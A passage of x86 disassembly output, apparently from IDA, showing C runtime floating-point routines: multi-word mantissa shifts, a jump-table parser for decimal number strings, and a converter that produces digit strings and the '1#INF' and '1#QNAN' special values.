		push	dword ptr [edi+8]
		push	dword ptr [eax]
		call	sub_425301
		add	esp, 0Ch
		pop	edi
		pop	esi
		retn
sub_425322	endp


; =============== S U B	R O U T	I N E =======================================



sub_425380	proc near		; CODE XREF: sub_4253DB+30p
					; sub_4253DB+36p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	esi, [eax]
		mov	edi, [eax+4]
		mov	ecx, esi
		add	esi, esi
		mov	[eax], esi
		lea	esi, [edi+edi]
		shr	ecx, 1Fh
		or	esi, ecx
		mov	ecx, [eax+8]
		mov	edx, edi
		mov	[eax+4], esi
		shr	edx, 1Fh
		shl	ecx, 1
		or	ecx, edx
		pop	edi
		mov	[eax+8], ecx
		pop	esi
		retn
sub_425380	endp


; =============== S U B	R O U T	I N E =======================================



sub_4253AE	proc near		; CODE XREF: sub_425973+1C8p
					; sub_425DEE+17Dp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	edx, [eax+8]
		mov	ecx, [eax+4]
		mov	esi, edx
		mov	edi, ecx
		shl	esi, 1Fh
		shr	ecx, 1
		or	ecx, esi
		mov	[eax+4], ecx
		mov	ecx, [eax]
		shl	edi, 1Fh
		shr	ecx, 1
		shr	edx, 1
		or	ecx, edi
		pop	edi
		mov	[eax+8], edx
		mov	[eax], ecx
		pop	esi
		retn
sub_4253AE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4253DB	proc near		; CODE XREF: sub_4254A2+3CAp

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, [ebp+arg_8]
		xor	edx, edx
		cmp	eax, edx
		push	esi
		mov	[ebp+var_4], 404Eh
		mov	[ebx], edx
		mov	[ebx+4], edx
		mov	[ebx+8], edx
		jbe	short loc_42544F
		push	edi
		mov	[ebp+arg_8], eax


loc_425402:				; CODE XREF: sub_4253DB+6Fj
		mov	esi, ebx
		lea	edi, [ebp+var_10]
		movsd
		movsd
		push	ebx
		movsd
		call	sub_425380
		push	ebx
		call	sub_425380
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	sub_425322
		push	ebx
		call	sub_425380
		mov	eax, [ebp+arg_0]
		and	[ebp+var_C], 0
		and	[ebp+var_8], 0
		movsx	eax, byte ptr [eax]
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	sub_425322
		add	esp, 1Ch
		inc	[ebp+arg_0]
		dec	[ebp+arg_8]
		jnz	short loc_425402
		xor	edx, edx
		pop	edi


loc_42544F:				; CODE XREF: sub_4253DB+21j
					; sub_4253DB+9Fj
		cmp	[ebx+8], edx
		jnz	short loc_42547C
		mov	ecx, [ebx+4]
		mov	eax, ecx
		shr	eax, 10h
		mov	[ebx+8], eax
		mov	eax, [ebx]
		mov	esi, eax
		shr	esi, 10h
		shl	ecx, 10h
		or	esi, ecx
		shl	eax, 10h
		add	[ebp+var_4], 0FFF0h
		mov	[ebx+4], esi
		mov	[ebx], eax
		jmp	short loc_42544F
; ---------------------------------------------------------------------------


loc_42547C:				; CODE XREF: sub_4253DB+77j
		mov	esi, 8000h


loc_425481:				; CODE XREF: sub_4253DB+B9j
		test	[ebx+8], esi
		jnz	short loc_425496
		push	ebx
		call	sub_425380
		add	[ebp+var_4], 0FFFFh
		pop	ecx
		jmp	short loc_425481
; ---------------------------------------------------------------------------


loc_425496:				; CODE XREF: sub_4253DB+A9j
		mov	ax, word ptr [ebp+var_4]
		pop	esi
		mov	[ebx+0Ah], ax
		pop	ebx
		leave
		retn
sub_4253DB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4254A2	proc near		; CODE XREF: sub_424D28+17p
					; sub_424D55+17p

var_5C		= byte ptr -5Ch
var_45		= byte ptr -45h
var_40		= dword	ptr -40h
var_3A		= dword	ptr -3Ah
var_36		= dword	ptr -36h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 5Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_8]
		lea	eax, [ebp+var_5C]
		push	1
		mov	[ebp+var_C], eax
		xor	eax, eax
		pop	edx
		mov	[ebp+var_28], eax
		mov	[ebp+var_18], edx
		mov	[ebp+var_4], eax
		mov	[ebp+var_10], eax
		mov	[ebp+var_24], eax
		mov	[ebp+var_20], eax
		mov	[ebp+var_2C], eax
		mov	[ebp+var_30], eax
		mov	[ebp+var_1C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_14], eax
		mov	[ebp+arg_8], edi


loc_4254DD:				; CODE XREF: sub_4254A2+52j
		mov	cl, [edi]
		cmp	cl, 20h
		jz	short loc_4254F3
		cmp	cl, 9
		jz	short loc_4254F3
		cmp	cl, 0Ah
		jz	short loc_4254F3
		cmp	cl, 0Dh
		jnz	short loc_4254F6


loc_4254F3:				; CODE XREF: sub_4254A2+40j
					; sub_4254A2+45j ...
		inc	edi
		jmp	short loc_4254DD
; ---------------------------------------------------------------------------


loc_4254F6:				; CODE XREF: sub_4254A2+4Fj
		push	4
		pop	esi


loc_4254F9:				; CODE XREF: sub_4254A2+AEj
					; sub_4254A2+B7j ...
		mov	bl, [edi]
		inc	edi
		cmp	eax, 0Bh	; switch 12 cases
		ja	loc_42577C	; default
					; jumptable 00425505 case 10
		jmp	off_425943[eax*4] ; switch jump


loc_42550C:				; DATA XREF: ___:off_425943o
		cmp	bl, 31h		; jumptable 00425505 case 0
		jl	short loc_42551D
		cmp	bl, 39h
		jg	short loc_42551D


loc_425516:				; CODE XREF: sub_4254A2+C4j
					; sub_4254A2+118j
		push	3
		jmp	loc_42573A
; ---------------------------------------------------------------------------


loc_42551D:				; CODE XREF: sub_4254A2+6Dj
					; sub_4254A2+72j
		cmp	bl, byte_43D088
		jnz	short loc_42552C


loc_425525:				; CODE XREF: sub_4254A2+124j
		push	5
		jmp	loc_425772
; ---------------------------------------------------------------------------


loc_42552C:				; CODE XREF: sub_4254A2+81j
		movsx	eax, bl
		sub	eax, 2Bh
		jz	short loc_425552
		dec	eax
		dec	eax
		jz	short loc_425546
		sub	eax, 3
		jnz	loc_425815
		jmp	loc_4255D5
; ---------------------------------------------------------------------------


loc_425546:				; CODE XREF: sub_4254A2+94j
		push	2
		mov	[ebp+var_28], 8000h
		pop	eax
		jmp	short loc_4254F9
; ---------------------------------------------------------------------------


loc_425552:				; CODE XREF: sub_4254A2+90j
		and	[ebp+var_28], 0
		push	2
		pop	eax
		jmp	short loc_4254F9
; ---------------------------------------------------------------------------


loc_42555B:				; CODE XREF: sub_4254A2+63j
					; DATA XREF: ___:off_425943o
		cmp	bl, 31h		; jumptable 00425505 case 1
		mov	[ebp+var_10], edx
		jl	short loc_425568
		cmp	bl, 39h
		jle	short loc_425516


loc_425568:				; CODE XREF: sub_4254A2+BFj
		cmp	bl, byte_43D088
		jz	loc_425630
		cmp	bl, 2Bh
		jz	short loc_4255AA
		cmp	bl, 2Dh
		jz	short loc_4255AA
		cmp	bl, 30h
		jz	short loc_4255D5


loc_425583:				; CODE XREF: sub_4254A2+207j
		cmp	bl, 43h
		jle	loc_425815
		cmp	bl, 45h
		jle	short loc_4255A3
		cmp	bl, 63h
		jle	loc_425815
		cmp	bl, 65h
		jg	loc_425815


loc_4255A3:				; CODE XREF: sub_4254A2+EDj
		push	6
		jmp	loc_425772
; ---------------------------------------------------------------------------


loc_4255AA:				; CODE XREF: sub_4254A2+D5j
					; sub_4254A2+DAj ...
		dec	edi
		push	0Bh
		jmp	loc_425772
; ---------------------------------------------------------------------------


loc_4255B2:				; CODE XREF: sub_4254A2+63j
					; DATA XREF: ___:off_425943o
		cmp	bl, 31h		; jumptable 00425505 case 2
		jl	short loc_4255C0
		cmp	bl, 39h
		jle	loc_425516


loc_4255C0:				; CODE XREF: sub_4254A2+113j
		cmp	bl, byte_43D088
		jz	loc_425525
		cmp	bl, 30h
		jnz	loc_42578A


loc_4255D5:				; CODE XREF: sub_4254A2+9Fj
					; sub_4254A2+DFj
		mov	eax, edx
		jmp	loc_4254F9
; ---------------------------------------------------------------------------


loc_4255DC:				; CODE XREF: sub_4254A2+63j
					; DATA XREF: ___:off_425943o
		mov	[ebp+var_10], edx ; jumptable 00425505 case 3


loc_4255DF:				; CODE XREF: sub_4254A2+184j
		cmp	dword_43D084, edx
		jle	short loc_4255F8
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_425606
; ---------------------------------------------------------------------------


loc_4255F8:				; CODE XREF: sub_4254A2+143j
		mov	ecx, off_43CE78
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi


loc_425606:				; CODE XREF: sub_4254A2+154j
		test	eax, eax
		jz	short loc_425628
		cmp	[ebp+var_4], 19h
		jnb	short loc_425620
		mov	eax, [ebp+var_C]
		inc	[ebp+var_4]
		sub	bl, 30h
		inc	[ebp+var_C]
		mov	[eax], bl
		jmp	short loc_425623
; ---------------------------------------------------------------------------


loc_425620:				; CODE XREF: sub_4254A2+16Cj
		inc	[ebp+var_8]


loc_425623:				; CODE XREF: sub_4254A2+17Cj
		mov	bl, [edi]
		inc	edi
		jmp	short loc_4255DF
; ---------------------------------------------------------------------------


loc_425628:				; CODE XREF: sub_4254A2+166j
		cmp	bl, byte_43D088
		jnz	short loc_425697


loc_425630:				; CODE XREF: sub_4254A2+CCj
		mov	eax, esi
		jmp	loc_4254F9
; ---------------------------------------------------------------------------


loc_425637:				; CODE XREF: sub_4254A2+63j
					; DATA XREF: ___:off_425943o
		cmp	[ebp+var_4], 0	; jumptable 00425505 case 4
		mov	[ebp+var_10], edx
		mov	[ebp+var_24], edx
		jnz	short loc_425650


loc_425643:				; CODE XREF: sub_4254A2+1ACj
		cmp	bl, 30h
		jnz	short loc_425650
		dec	[ebp+var_8]
		mov	bl, [edi]
		inc	edi
		jmp	short loc_425643
; ---------------------------------------------------------------------------


loc_425650:				; CODE XREF: sub_4254A2+19Fj
					; sub_4254A2+1A4j ...
		cmp	dword_43D084, edx
		jle	short loc_425669
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_425677
; ---------------------------------------------------------------------------


loc_425669:				; CODE XREF: sub_4254A2+1B4j
		mov	ecx, off_43CE78
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi


loc_425677:				; CODE XREF: sub_4254A2+1C5j
		test	eax, eax
		jz	short loc_425697
		cmp	[ebp+var_4], 19h
		jnb	short loc_425692
		mov	eax, [ebp+var_C]
		inc	[ebp+var_4]
		sub	bl, 30h
		inc	[ebp+var_C]
		dec	[ebp+var_8]
		mov	[eax], bl


loc_425692:				; CODE XREF: sub_4254A2+1DDj
		mov	bl, [edi]
		inc	edi
		jmp	short loc_425650
; ---------------------------------------------------------------------------


loc_425697:				; CODE XREF: sub_4254A2+18Cj
					; sub_4254A2+1D7j
		cmp	bl, 2Bh
		jz	loc_4255AA
		cmp	bl, 2Dh
		jz	loc_4255AA
		jmp	loc_425583
; ---------------------------------------------------------------------------


loc_4256AE:				; CODE XREF: sub_4254A2+63j
					; DATA XREF: ___:off_425943o
		cmp	dword_43D084, edx ; jumptable 00425505 case 5
		mov	[ebp+var_24], edx
		jle	short loc_4256CA
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_4256D8
; ---------------------------------------------------------------------------


loc_4256CA:				; CODE XREF: sub_4254A2+215j
		mov	ecx, off_43CE78
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi


loc_4256D8:				; CODE XREF: sub_4254A2+226j
		test	eax, eax
		jz	loc_42578A
		mov	eax, esi
		jmp	short loc_42573B
; ---------------------------------------------------------------------------


loc_4256E4:				; CODE XREF: sub_4254A2+63j
					; DATA XREF: ___:off_425943o
		lea	ecx, [edi-2]	; jumptable 00425505 case 6
		cmp	bl, 31h
		mov	[ebp+arg_8], ecx
		jl	short loc_4256F4
		cmp	bl, 39h
		jle	short loc_425738


loc_4256F4:				; CODE XREF: sub_4254A2+24Bj
		movsx	eax, bl
		sub	eax, 2Bh
		jz	short loc_425770
		dec	eax
		dec	eax
		jz	short loc_425764
		sub	eax, 3
		jnz	loc_425818


loc_425709:				; CODE XREF: sub_4254A2+2A4j
		push	8
		jmp	short loc_425772
; ---------------------------------------------------------------------------


loc_42570D:				; CODE XREF: sub_4254A2+63j
					; DATA XREF: ___:off_425943o
		mov	[ebp+var_20], edx ; jumptable 00425505 case 8


loc_425710:				; CODE XREF: sub_4254A2+276j
		cmp	bl, 30h
		jnz	short loc_42571A
		mov	bl, [edi]
		inc	edi
		jmp	short loc_425710
; ---------------------------------------------------------------------------


loc_42571A:				; CODE XREF: sub_4254A2+271j
		cmp	bl, 31h
		jl	loc_425815
		cmp	bl, 39h
		jg	loc_425815
		jmp	short loc_425738
; ---------------------------------------------------------------------------


loc_42572E:				; CODE XREF: sub_4254A2+63j
					; DATA XREF: ___:off_425943o
		cmp	bl, 31h		; jumptable 00425505 case 7
		jl	short loc_425741
		cmp	bl, 39h
		jg	short loc_425741


loc_425738:				; CODE XREF: sub_4254A2+250j
					; sub_4254A2+28Aj
		push	9


loc_42573A:				; CODE XREF: sub_4254A2+76j
		pop	eax


loc_42573B:				; CODE XREF: sub_4254A2+240j
		dec	edi
		jmp	loc_4254F9
; ---------------------------------------------------------------------------


loc_425741:				; CODE XREF: sub_4254A2+28Fj
					; sub_4254A2+294j
		cmp	bl, 30h
		jnz	short loc_42578A
		jmp	short loc_425709
; ---------------------------------------------------------------------------


loc_425748:				; CODE XREF: sub_4254A2+63j
					; DATA XREF: ___:off_425943o
		cmp	[ebp+arg_18], 0	; jumptable 00425505 case 11
		jz	short loc_425778
		movsx	eax, bl
		lea	ecx, [edi-1]
		sub	eax, 2Bh
		mov	[ebp+arg_8], ecx
		jz	short loc_425770
		dec	eax
		dec	eax
		jnz	loc_425818


loc_425764:				; CODE XREF: sub_4254A2+25Cj
		or	[ebp+var_18], 0FFFFFFFFh
		push	7
		pop	eax
		jmp	loc_4254F9
; ---------------------------------------------------------------------------


loc_425770:				; CODE XREF: sub_4254A2+258j
					; sub_4254A2+2B8j
		push	7


loc_425772:				; CODE XREF: sub_4254A2+85j
					; sub_4254A2+103j ...
		pop	eax
		jmp	loc_4254F9
; ---------------------------------------------------------------------------


loc_425778:				; CODE XREF: sub_4254A2+2AAj
		push	0Ah
		dec	edi
		pop	eax


loc_42577C:				; CODE XREF: sub_4254A2+5Dj
					; sub_4254A2+63j
					; DATA XREF: ...
		cmp	eax, 0Ah	; default
					; jumptable 00425505 case 10
		jz	loc_42581A
		jmp	loc_4254F9
; ---------------------------------------------------------------------------


loc_42578A:				; CODE XREF: sub_4254A2+12Dj
					; sub_4254A2+238j ...
		mov	edi, [ebp+arg_8]
		jmp	loc_42581A
; ---------------------------------------------------------------------------


loc_425792:				; CODE XREF: sub_4254A2+63j
					; DATA XREF: ___:off_425943o
		mov	[ebp+var_20], 1	; jumptable 00425505 case 9
		xor	esi, esi


loc_42579B:				; CODE XREF: sub_4254A2+339j
		cmp	dword_43D084, 1
		jle	short loc_4257B3
		movzx	eax, bl
		push	4
		push	eax
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_4257C2
; ---------------------------------------------------------------------------


loc_4257B3:				; CODE XREF: sub_4254A2+300j
		mov	ecx, off_43CE78
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_4257C2:				; CODE XREF: sub_4254A2+30Fj
		test	eax, eax
		jz	short loc_4257E2
		movsx	ecx, bl
		lea	eax, [esi+esi*4]
		lea	esi, [ecx+eax*2-30h]
		cmp	esi, 1450h
		jg	short loc_4257DD
		mov	bl, [edi]
		inc	edi
		jmp	short loc_42579B
; ---------------------------------------------------------------------------


loc_4257DD:				; CODE XREF: sub_4254A2+334j
		mov	esi, 1451h


loc_4257E2:				; CODE XREF: sub_4254A2+322j
		mov	[ebp+var_1C], esi


loc_4257E5:				; CODE XREF: sub_4254A2+371j
		cmp	dword_43D084, 1
		jle	short loc_4257FD
		movzx	eax, bl
		push	4
		push	eax
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_42580C
; ---------------------------------------------------------------------------


loc_4257FD:				; CODE XREF: sub_4254A2+34Aj
		mov	ecx, off_43CE78
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_42580C:				; CODE XREF: sub_4254A2+359j
		test	eax, eax
		jz	short loc_425815
		mov	bl, [edi]
		inc	edi
		jmp	short loc_4257E5
; ---------------------------------------------------------------------------


loc_425815:				; CODE XREF: sub_4254A2+99j
					; sub_4254A2+E4j ...
		dec	edi
		jmp	short loc_42581A
; ---------------------------------------------------------------------------


loc_425818:				; CODE XREF: sub_4254A2+261j
					; sub_4254A2+2BCj
		mov	edi, ecx


loc_42581A:				; CODE XREF: sub_4254A2+2DDj
					; sub_4254A2+2EBj ...
		mov	eax, [ebp+arg_4]
		cmp	[ebp+var_10], 0
		mov	[eax], edi
		jz	loc_425902
		push	18h
		pop	eax
		cmp	[ebp+var_4], eax
		jbe	short loc_425846
		cmp	[ebp+var_45], 5
		jl	short loc_42583A
		inc	[ebp+var_45]


loc_42583A:				; CODE XREF: sub_4254A2+393j
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_C]
		dec	eax
		inc	[ebp+var_8]
		jmp	short loc_425849
; ---------------------------------------------------------------------------


loc_425846:				; CODE XREF: sub_4254A2+38Dj
		mov	eax, [ebp+var_C]


loc_425849:				; CODE XREF: sub_4254A2+3A2j
		cmp	[ebp+var_4], 0
		jbe	loc_4258F8


loc_425853:				; CODE XREF: sub_4254A2+3BDj
		dec	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_425861
		dec	[ebp+var_4]
		inc	[ebp+var_8]
		jmp	short loc_425853
; ---------------------------------------------------------------------------


loc_425861:				; CODE XREF: sub_4254A2+3B5j
		lea	eax, [ebp+var_40]
		push	eax
		lea	eax, [ebp+var_5C]
		push	[ebp+var_4]
		push	eax
		call	sub_4253DB
		mov	eax, [ebp+var_1C]
		xor	ecx, ecx
		add	esp, 0Ch
		cmp	[ebp+var_18], ecx
		jge	short loc_425880
		neg	eax


loc_425880:				; CODE XREF: sub_4254A2+3DAj
		add	eax, [ebp+var_8]
		cmp	[ebp+var_20], ecx
		jnz	short loc_42588B
		add	eax, [ebp+arg_10]


loc_42588B:				; CODE XREF: sub_4254A2+3E4j
		cmp	[ebp+var_24], ecx
		jnz	short loc_425893
		sub	eax, [ebp+arg_14]


loc_425893:				; CODE XREF: sub_4254A2+3ECj
		cmp	eax, 1450h
		jle	short loc_4258CA
		mov	[ebp+var_2C], 1


loc_4258A1:				; CODE XREF: sub_4254A2+436j
		mov	ebx, [ebp+arg_8]
		mov	esi, [ebp+arg_8]
		mov	eax, [ebp+arg_8]
		mov	edx, [ebp+arg_8]


loc_4258AD:				; CODE XREF: sub_4254A2+454j
					; sub_4254A2+45Ej
		cmp	[ebp+var_2C], 0
		jz	short loc_425913
		xor	ebx, ebx
		mov	eax, 7FFFh
		mov	esi, 80000000h
		xor	edx, edx
		mov	[ebp+var_14], 2
		jmp	short loc_425928
; ---------------------------------------------------------------------------


loc_4258CA:				; CODE XREF: sub_4254A2+3F6j
		cmp	eax, 0FFFFEBB0h
		jge	short loc_4258DA
		mov	[ebp+var_30], 1
		jmp	short loc_4258A1
; ---------------------------------------------------------------------------


loc_4258DA:				; CODE XREF: sub_4254A2+42Dj
		push	[ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_40]
		push	eax
		call	sub_42600E
		mov	edx, [ebp+var_40]
		mov	ebx, [ebp+var_40+2]
		mov	esi, [ebp+var_3A]
		mov	eax, [ebp+var_36]
		add	esp, 0Ch
		jmp	short loc_4258AD
; ---------------------------------------------------------------------------


loc_4258F8:				; CODE XREF: sub_4254A2+3ABj
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		jmp	short loc_4258AD
; ---------------------------------------------------------------------------


loc_425902:				; CODE XREF: sub_4254A2+381j
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		mov	[ebp+var_14], 4
		jmp	short loc_425928
; ---------------------------------------------------------------------------


loc_425913:				; CODE XREF: sub_4254A2+40Fj
		cmp	[ebp+var_30], 0
		jz	short loc_425928
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		mov	[ebp+var_14], 1


loc_425928:				; CODE XREF: sub_4254A2+426j
					; sub_4254A2+46Fj ...
		mov	ecx, [ebp+arg_0]
		or	eax, [ebp+var_28]
		pop	edi
		mov	[ecx+6], esi
		mov	[ecx+2], ebx
		mov	[ecx+0Ah], ax
		mov	eax, [ebp+var_14]
		pop	esi
		mov	[ecx], dx
		pop	ebx
		leave
		retn
sub_4254A2	endp

; ---------------------------------------------------------------------------
off_425943	dd offset loc_42550C	; DATA XREF: sub_4254A2+63r
		dd offset loc_42555B	; jump table for switch	statement
		dd offset loc_4255B2
		dd offset loc_4255DC
		dd offset loc_425637
		dd offset loc_4256AE
		dd offset loc_4256E4
		dd offset loc_42572E
		dd offset loc_42570D
		dd offset loc_425792
		dd offset loc_42577C
		dd offset loc_425748

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425973	proc near		; CODE XREF: sub_424DF9+2Cp

var_1C		= byte ptr -1Ch
var_1B		= byte ptr -1Bh
var_1A		= byte ptr -1Ah
var_19		= byte ptr -19h
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= byte ptr -14h
var_13		= byte ptr -13h
var_12		= byte ptr -12h
var_11		= byte ptr -11h
var_10		= word ptr -10h
var_E		= dword	ptr -0Eh
var_A		= dword	ptr -0Ah
var_6		= word ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= byte ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		mov	eax, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_14]
		push	esi
		mov	ecx, eax
		mov	esi, 7FFFh
		and	ecx, 8000h
		and	eax, esi
		test	cx, cx
		push	edi
		mov	[ebp+var_1C], 0CCh
		mov	[ebp+var_1B], 0CCh
		mov	[ebp+var_1A], 0CCh
		mov	[ebp+var_19], 0CCh
		mov	[ebp+var_18], 0CCh
		mov	[ebp+var_17], 0CCh
		mov	[ebp+var_16], 0CCh
		mov	[ebp+var_15], 0CCh
		mov	[ebp+var_14], 0CCh
		mov	[ebp+var_13], 0CCh
		mov	[ebp+var_12], 0FBh
		mov	[ebp+var_11], 3Fh
		mov	[ebp+var_4], 1
		mov	edx, eax
		jz	short loc_4259D5
		mov	byte ptr [ebx+2], 2Dh
		jmp	short loc_4259D9
; ---------------------------------------------------------------------------


loc_4259D5:				; CODE XREF: sub_425973+5Aj
		mov	byte ptr [ebx+2], 20h


loc_4259D9:				; CODE XREF: sub_425973+60j
		mov	edi, [ebp+arg_4]
		test	dx, dx
		jnz	short loc_4259FF
		test	edi, edi
		jnz	short loc_4259FF
		cmp	[ebp+arg_0], edi
		jnz	short loc_4259FF


loc_4259EA:				; CODE XREF: sub_425973+181j
		and	word ptr [ebx],	0
		mov	byte ptr [ebx+2], 20h
		mov	byte ptr [ebx+3], 1
		mov	byte ptr [ebx+4], 30h
		jmp	loc_425BFD
; ---------------------------------------------------------------------------


loc_4259FF:				; CODE XREF: sub_425973+6Cj
					; sub_425973+70j ...
		cmp	dx, si
		jnz	short loc_425A7E
		mov	eax, 80000000h
		mov	word ptr [ebx],	1
		cmp	edi, eax
		jnz	short loc_425A18
		cmp	[ebp+arg_0], 0
		jz	short loc_425A27


loc_425A18:				; CODE XREF: sub_425973+9Dj
		test	edi, 40000000h
		jnz	short loc_425A27
		push	offset a1Snan	; "1#SNAN"
		jmp	short loc_425A6D
; ---------------------------------------------------------------------------


loc_425A27:				; CODE XREF: sub_425973+A3j
					; sub_425973+ABj
		test	cx, cx
		jz	short loc_425A41
		cmp	edi, 0C0000000h
		jnz	short loc_425A41
		cmp	[ebp+arg_0], 0
		jnz	short loc_425A68
		push	offset a1Ind	; "1#IND"
		jmp	short loc_425A50
; ---------------------------------------------------------------------------


loc_425A41:				; CODE XREF: sub_425973+B7j
					; sub_425973+BFj
		cmp	edi, eax
		jnz	short loc_425A68
		cmp	[ebp+arg_0], 0
		jnz	short loc_425A68
		push	offset a1Inf	; "1#INF"


loc_425A50:				; CODE XREF: sub_425973+CCj
		lea	eax, [ebx+4]
		push	eax
		call	sub_41C890
		pop	ecx
		mov	byte ptr [ebx+3], 5
		pop	ecx


loc_425A5F:				; CODE XREF: sub_425973+109j
		and	[ebp+var_4], 0
		jmp	loc_425BD6
; ---------------------------------------------------------------------------


loc_425A68:				; CODE XREF: sub_425973+C5j
					; sub_425973+D0j ...
		push	offset a1Qnan	; "1#QNAN"


loc_425A6D:				; CODE XREF: sub_425973+B2j
		lea	eax, [ebx+4]
		push	eax
		call	sub_41C890
		pop	ecx
		mov	byte ptr [ebx+3], 6
		pop	ecx
		jmp	short loc_425A5F
; ---------------------------------------------------------------------------


loc_425A7E:				; CODE XREF: sub_425973+8Fj
		movzx	eax, dx
		mov	ecx, edi
		mov	esi, eax
		shr	ecx, 18h
		imul	eax, 4D10h
		shr	esi, 8
		and	[ebp+var_10], 0
		push	1
		lea	ecx, [esi+ecx*2]
		mov	[ebp+var_6], dx
		imul	ecx, 4Dh
		mov	[ebp+var_A], edi
		lea	esi, [ecx+eax-134312F4h]
		mov	eax, [ebp+arg_0]
		sar	esi, 10h
		mov	[ebp+var_E], eax
		movsx	eax, si
		neg	eax
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_42600E
		add	esp, 0Ch
		cmp	[ebp+var_6], 3FFFh
		jb	short loc_425ADF
		lea	eax, [ebp+var_1C]
		inc	esi
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_425DEE
		pop	ecx
		pop	ecx


loc_425ADF:				; CODE XREF: sub_425973+15Aj
		test	[ebp+arg_10], 1
		mov	[ebx], si
		jz	short loc_425AF9
		mov	edi, [ebp+arg_C]
		movsx	eax, si
		add	edi, eax
		test	edi, edi
		jg	short loc_425AFC
		jmp	loc_4259EA
; ---------------------------------------------------------------------------


loc_425AF9:				; CODE XREF: sub_425973+173j
		mov	edi, [ebp+arg_C]


loc_425AFC:				; CODE XREF: sub_425973+17Fj
		cmp	edi, 15h
		jle	short loc_425B04
		push	15h
		pop	edi


loc_425B04:				; CODE XREF: sub_425973+18Cj
		movzx	esi, [ebp+var_6]
		sub	esi, 3FFEh
		and	[ebp+var_6], 0
		mov	[ebp+arg_14], 8


loc_425B1A:				; CODE XREF: sub_425973+1B4j
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_425380
		dec	[ebp+arg_14]
		pop	ecx
		jnz	short loc_425B1A
		test	esi, esi
		jge	short loc_425B44
		neg	esi
		and	esi, 0FFh
		jle	short loc_425B44


loc_425B37:				; CODE XREF: sub_425973+1CFj
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4253AE
		dec	esi
		pop	ecx
		jnz	short loc_425B37


loc_425B44:				; CODE XREF: sub_425973+1B8j
					; sub_425973+1C2j
		lea	ecx, [edi+1]
		lea	eax, [ebx+4]
		test	ecx, ecx
		mov	[ebp+arg_14], eax
		jle	short loc_425BA1
		mov	[ebp+arg_C], ecx


loc_425B54:				; CODE XREF: sub_425973+229j
		lea	esi, [ebp+var_10]
		lea	edi, [ebp+arg_0]
		movsd
		movsd
		lea	eax, [ebp+var_10]
		push	eax
		movsd
		call	sub_425380
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_425380
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_425322
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_425380
		mov	al, byte ptr [ebp+var_6+1]
		mov	ecx, [ebp+arg_14]
		and	byte ptr [ebp+var_6+1],	0
		add	esp, 14h
		add	al, 30h
		inc	[ebp+arg_14]
		dec	[ebp+arg_C]
		mov	[ecx], al
		jnz	short loc_425B54
		mov	eax, [ebp+arg_14]


loc_425BA1:				; CODE XREF: sub_425973+1DCj
		mov	cl, [eax-1]
		dec	eax
		dec	eax
		cmp	cl, 35h
		lea	ecx, [ebx+4]
		jl	short loc_425BDE


loc_425BAE:				; CODE XREF: sub_425973+248j
		cmp	eax, ecx
		jb	short loc_425BC1
		cmp	byte ptr [eax],	39h
